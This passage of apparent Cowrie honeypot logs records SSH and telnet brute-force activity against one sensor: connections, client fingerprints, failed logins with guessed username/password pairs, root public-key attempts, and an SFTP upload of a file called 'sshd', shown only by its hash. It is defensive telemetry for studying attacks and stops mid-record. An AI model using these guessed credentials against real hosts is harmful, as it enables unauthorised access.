{"eventid":"cowrie.login.failed","username":"admin","password":"pavell","message":"login attempt [admin/pavell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:36.913673Z","src_ip":"2.57.121.112","session":"284a0b8ec591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:38.018576Z","src_ip":"2.57.121.112","session":"284a0b8ec591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":55106,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f82b6ff76ae","protocol":"ssh","message":"New connection: 74.87.117.146:55106 (10.17.0.5:22) [session: 3f82b6ff76ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:53.927424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:53.932192Z","src_ip":"74.87.117.146","session":"3f82b6ff76ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:53.956692Z","src_ip":"74.87.117.146","session":"3f82b6ff76ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bassuser","password":"bassuser","message":"login attempt [bassuser/bassuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:54.089956Z","src_ip":"74.87.117.146","session":"3f82b6ff76ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:55.127439Z","src_ip":"74.87.117.146","session":"3f82b6ff76ae","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/f458e5ad39f7137378b10fa6f3c50037d973284ad230d2080b49f08da7a31074","shasum":"f458e5ad39f7137378b10fa6f3c50037d973284ad230d2080b49f08da7a31074","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/f458e5ad39f7137378b10fa6f3c50037d973284ad230d2080b49f08da7a31074","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:01.616739Z","src_ip":"120.48.0.142","session":"f6cff449f948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"302.0","message":"Connection lost after 302.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:01.621197Z","src_ip":"120.48.0.142","session":"f6cff449f948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.58678889274597,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:12.898959Z","src_ip":"212.55.149.117","session":"1d7316e2241f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":2402,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d8c1b80f6a7","protocol":"telnet","message":"New connection: 212.55.149.117:2402 (10.17.0.5:23) [session: 2d8c1b80f6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:15.812182Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54472,"dst_ip":"10.17.0.5","dst_port":22,"session":"1342fd102118","protocol":"ssh","message":"New connection: 103.15.226.202:54472 (10.17.0.5:22) [session: 1342fd102118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:17.561225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:17.565878Z","src_ip":"103.15.226.202","session":"1342fd102118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:17.810523Z","src_ip":"103.15.226.202","session":"1342fd102118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:18.545590Z","src_ip":"103.15.226.202","session":"1342fd102118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:19.795513Z","src_ip":"103.15.226.202","session":"1342fd102118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.104.203","src_port":36776,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b04cece2a7b","protocol":"ssh","message":"New connection: 198.20.104.203:36776 (10.17.0.5:22) [session: 4b04cece2a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:23.374420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:23.379436Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:23.467073Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:72:60:68:af:0d:69:60:ed:a0:03:09:fb:5d:a2:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxoRk8p9iBDg7nUH0OAHbmF3WvQHbyNfHrr69aJH8bTy4lLDBVzHu5bM92OA8rS1aEBZSZb+OoTQC85MPaaw8ohsMztQHZGWrPx7RVVr3qMKZBI5cI1QNIklFZp6Lm6FB7163iX8aZ7YQ7NuzEp6dTu1SCxTWOSEfs0bad/qsCcu/n7ZCSpBBlLTQirgxdafms+S9oi7DEjwA0GlCmbiGnixbhR0i7yS9c54hCuPa0DXPV03Xsa8Rtg6ywlNhI6mLg6VdbE0iJJ7eU3N8FxYh5wRCQRzb8j5Sl/f6iu1STByChymi2InozgXpP0SqKVOvp9+LRma8+rd9OWumII/X5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:72:60:68:af:0d:69:60:ed:a0:03:09:fb:5d:a2:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:23.881530Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:72:60:68:af:0d:69:60:ed:a0:03:09:fb:5d:a2:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxoRk8p9iBDg7nUH0OAHbmF3WvQHbyNfHrr69aJH8bTy4lLDBVzHu5bM92OA8rS1aEBZSZb+OoTQC85MPaaw8ohsMztQHZGWrPx7RVVr3qMKZBI5cI1QNIklFZp6Lm6FB7163iX8aZ7YQ7NuzEp6dTu1SCxTWOSEfs0bad/qsCcu/n7ZCSpBBlLTQirgxdafms+S9oi7DEjwA0GlCmbiGnixbhR0i7yS9c54hCuPa0DXPV03Xsa8Rtg6ywlNhI6mLg6VdbE0iJJ7eU3N8FxYh5wRCQRzb8j5Sl/f6iu1STByChymi2InozgXpP0SqKVOvp9+LRma8+rd9OWumII/X5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:23.884794Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:aa:d7:91:df:a4:a1:b3:e7:a7:ed:a4:80:a6:2e:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDu901M1wehtFPw2LPLk4SbVLxSQaDzET3a6RBia+q93/9KADhzRK+Pt3PyXer8yrBlyu6T1qzDbj5hI2jaUnDhrCeZXerJ1p4ovm3J+7+TVaxvWiqT+JMScOrRcw379fHTmdxrBHhrfxpVPPyqj9wpWYKNWncRdQfIcXfoX67dJiOz/o8uli/+l9nZveBQcTQMylDAtG5pp80rh0N+XvhyMvLsosljyXwpV/4SoO1G20e7TW8DdGDn/dM19dXCjJ67pabwV2RTYcCtM7GnbrSgAxWkSj/QUNyLPnwoion8OCmhZ6K8730S38JtK5CprGKUpPmM8AQ84tdfpilmjZXTwgyaiBA8h9oF+oESlx0dSK2PmXOT+Pf20G4PnPqgsSnEQ0wLWnCkHcvdIiYSS6dFvb/UypgJlyW9f9Vtx+2dWKqQg2XH2EnnYurLJxzAIRezvyELyJhFsqrcOmkBhTwQ1Aha4f7T1JLDxh1Ywzsx2HvD8eyKXszPr/QZOEsntigkWi4Pjlp2D2Lb4jOaeKuY/PiAY56OL8EbeUElutqS3dieeeBAnQWcuqVl35imsVDhlOlvKCSU0jMaNoSD1MJZokow3RZDS+Rd753hB6KKeGjARV9ZhLIZQRvtMOBihNsCW2aBQsiFUP2bOyzzDF2ocYVn2DDZ10sHLw4AHZkTkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:aa:d7:91:df:a4:a1:b3:e7:a7:ed:a4:80:a6:2e:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:23.971485Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:aa:d7:91:df:a4:a1:b3:e7:a7:ed:a4:80:a6:2e:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDu901M1wehtFPw2LPLk4SbVLxSQaDzET3a6RBia+q93/9KADhzRK+Pt3PyXer8yrBlyu6T1qzDbj5hI2jaUnDhrCeZXerJ1p4ovm3J+7+TVaxvWiqT+JMScOrRcw379fHTmdxrBHhrfxpVPPyqj9wpWYKNWncRdQfIcXfoX67dJiOz/o8uli/+l9nZveBQcTQMylDAtG5pp80rh0N+XvhyMvLsosljyXwpV/4SoO1G20e7TW8DdGDn/dM19dXCjJ67pabwV2RTYcCtM7GnbrSgAxWkSj/QUNyLPnwoion8OCmhZ6K8730S38JtK5CprGKUpPmM8AQ84tdfpilmjZXTwgyaiBA8h9oF+oESlx0dSK2PmXOT+Pf20G4PnPqgsSnEQ0wLWnCkHcvdIiYSS6dFvb/UypgJlyW9f9Vtx+2dWKqQg2XH2EnnYurLJxzAIRezvyELyJhFsqrcOmkBhTwQ1Aha4f7T1JLDxh1Ywzsx2HvD8eyKXszPr/QZOEsntigkWi4Pjlp2D2Lb4jOaeKuY/PiAY56OL8EbeUElutqS3dieeeBAnQWcuqVl35imsVDhlOlvKCSU0jMaNoSD1MJZokow3RZDS+Rd753hB6KKeGjARV9ZhLIZQRvtMOBihNsCW2aBQsiFUP2bOyzzDF2ocYVn2DDZ10sHLw4AHZkTkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:23.975488Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:8d:89:36:a7:b2:7c:3a:ab:bb:af:43:5a:88:03:0d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHUKKcS+zlIHOeAqpvErmzGaQ1YXTTfskujBIW18QR4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3f:8d:89:36:a7:b2:7c:3a:ab:bb:af:43:5a:88:03:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:24.063139Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:8d:89:36:a7:b2:7c:3a:ab:bb:af:43:5a:88:03:0d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHUKKcS+zlIHOeAqpvErmzGaQ1YXTTfskujBIW18QR4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:24.066692Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:96:a6:a8:16:af:4f:49:3b:a7:ea:f8:db:99:56:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh1N1a7PirWMmxHxJZmQSSYbx28VtVprEpfzBP98g8GGLcwwtLGjzCb1LHdzMX8SDnffHVYbRchYDsMK2AjPQAMZfXHyTiARXO29ylOfjgmECaAOHwy5G3Mhypqm6Ud/Ow9L8Av9ydEVGwDUZA5bvEOiYP85CWGG5GaG4vVg1bRCHoTQWxHVC/fEP2pX0Kn6B0+UlcME+JLJjdu7+BglYImw9a8DNJN2BR9oZGUxIN/HzxjakIYR/9QSqlZdyJiDls5dYGenuX8O1FFG/DezTh/u+af2kJjm3CDjExef9b+mJ9f/aLd4myyZLHwFSrjeijUMlgixApcZnwhnEg6M4n2iMIXvL2OJTG0+An2vWvMUFSq27AK/qGB0oq8ogHFIzdd8CtdViBrRlBAO1/73WZqDdBYAamz11jxMyXdHJyPTBuAjzefKIgA6gdPnxOW+oJp6OQ92PQLdgfb8KUycSU6j48CuuHlK9byBsXkylJKxGMAaOVnMvEgh+GdkFvBq6g0MpTnI5u2I7+MW1QkKsXowrMTQP2zbcm9kTd63MkYMGviq5TFLRwmEzBbjvUsorTg7ylMpVxzq26h08+bFdx6owPZ/J4q9E/gUaEHWqzyqQWofR2tdMY03mfzyX8KYinXzQMDligV2Y2BpfRjE8OP4N+fCb4TRrRX2CBWu4yXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:96:a6:a8:16:af:4f:49:3b:a7:ea:f8:db:99:56:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:24.157074Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:96:a6:a8:16:af:4f:49:3b:a7:ea:f8:db:99:56:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh1N1a7PirWMmxHxJZmQSSYbx28VtVprEpfzBP98g8GGLcwwtLGjzCb1LHdzMX8SDnffHVYbRchYDsMK2AjPQAMZfXHyTiARXO29ylOfjgmECaAOHwy5G3Mhypqm6Ud/Ow9L8Av9ydEVGwDUZA5bvEOiYP85CWGG5GaG4vVg1bRCHoTQWxHVC/fEP2pX0Kn6B0+UlcME+JLJjdu7+BglYImw9a8DNJN2BR9oZGUxIN/HzxjakIYR/9QSqlZdyJiDls5dYGenuX8O1FFG/DezTh/u+af2kJjm3CDjExef9b+mJ9f/aLd4myyZLHwFSrjeijUMlgixApcZnwhnEg6M4n2iMIXvL2OJTG0+An2vWvMUFSq27AK/qGB0oq8ogHFIzdd8CtdViBrRlBAO1/73WZqDdBYAamz11jxMyXdHJyPTBuAjzefKIgA6gdPnxOW+oJp6OQ92PQLdgfb8KUycSU6j48CuuHlK9byBsXkylJKxGMAaOVnMvEgh+GdkFvBq6g0MpTnI5u2I7+MW1QkKsXowrMTQP2zbcm9kTd63MkYMGviq5TFLRwmEzBbjvUsorTg7ylMpVxzq26h08+bFdx6owPZ/J4q9E/gUaEHWqzyqQWofR2tdMY03mfzyX8KYinXzQMDligV2Y2BpfRjE8OP4N+fCb4TRrRX2CBWu4yXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:24.160867Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:0a:ee:e8:f3:31:08:fc:99:37:87:db:04:22:aa:1f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIme701lGxBNRagW92lttdymCn9l3CcX4XKfTXldoKrow7CQYHXOP+tNCF7ByJIrvce7U2COQ7ornKOssHvdfkR37I63kOo64YCWLHBlA9gmwJzoeXVXg5iiR1TMQKu7uyuHeUYhKNQpR6cQnjO0b3NRFN3KbB7FgMGIrVTvWoZDAAAAFQCd2OrBw6Z6xqqwipd6lPEJL8yCZQAAAIAnHJQ2aSAoHzUDaJLIjMvoFFsUTSGrlHjUjhYhmxPspGdQxC7X/5rxYwwdX4q4xFb5YOFOV/qWffNrsNk3Qsb/lljS13b630qIf0flYZx+4+ogzpt4tqT5XzpjYAzHkH65oT4rMg3UWj3dd2MzeNuQWdhvt27pXPkXky1xiw2dEwAAAIB2WvIk36Ma1QCeaindhbGlHYKimN5BjC+J/cBv0YqPzUuS4j3CjYRNE7XzrZYwQIsZB8HxgG7IVDLxGXTY2dtbVyVBVBhUk2eM/XL6odDRvgZMAwNQYHIOKKap+La+rZWYu/Izl1OnsALzKkn4olBmOT2O+9KlGhdvBFjF122ytQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b3:0a:ee:e8:f3:31:08:fc:99:37:87:db:04:22:aa:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:24.248523Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:0a:ee:e8:f3:31:08:fc:99:37:87:db:04:22:aa:1f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIme701lGxBNRagW92lttdymCn9l3CcX4XKfTXldoKrow7CQYHXOP+tNCF7ByJIrvce7U2COQ7ornKOssHvdfkR37I63kOo64YCWLHBlA9gmwJzoeXVXg5iiR1TMQKu7uyuHeUYhKNQpR6cQnjO0b3NRFN3KbB7FgMGIrVTvWoZDAAAAFQCd2OrBw6Z6xqqwipd6lPEJL8yCZQAAAIAnHJQ2aSAoHzUDaJLIjMvoFFsUTSGrlHjUjhYhmxPspGdQxC7X/5rxYwwdX4q4xFb5YOFOV/qWffNrsNk3Qsb/lljS13b630qIf0flYZx+4+ogzpt4tqT5XzpjYAzHkH65oT4rMg3UWj3dd2MzeNuQWdhvt27pXPkXky1xiw2dEwAAAIB2WvIk36Ma1QCeaindhbGlHYKimN5BjC+J/cBv0YqPzUuS4j3CjYRNE7XzrZYwQIsZB8HxgG7IVDLxGXTY2dtbVyVBVBhUk2eM/XL6odDRvgZMAwNQYHIOKKap+La+rZWYu/Izl1OnsALzKkn4olBmOT2O+9KlGhdvBFjF122ytQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:24.251746Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:24.339604Z","src_ip":"198.20.104.203","session":"4b04cece2a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01944327354431,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:42.699367Z","src_ip":"212.55.149.117","session":"c94b575c7a52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":61666,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b83d8a89746","protocol":"ssh","message":"New connection: 74.87.117.146:61666 (10.17.0.5:22) [session: 7b83d8a89746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:49.254719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:08:49.260375Z","src_ip":"74.87.117.146","session":"7b83d8a89746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha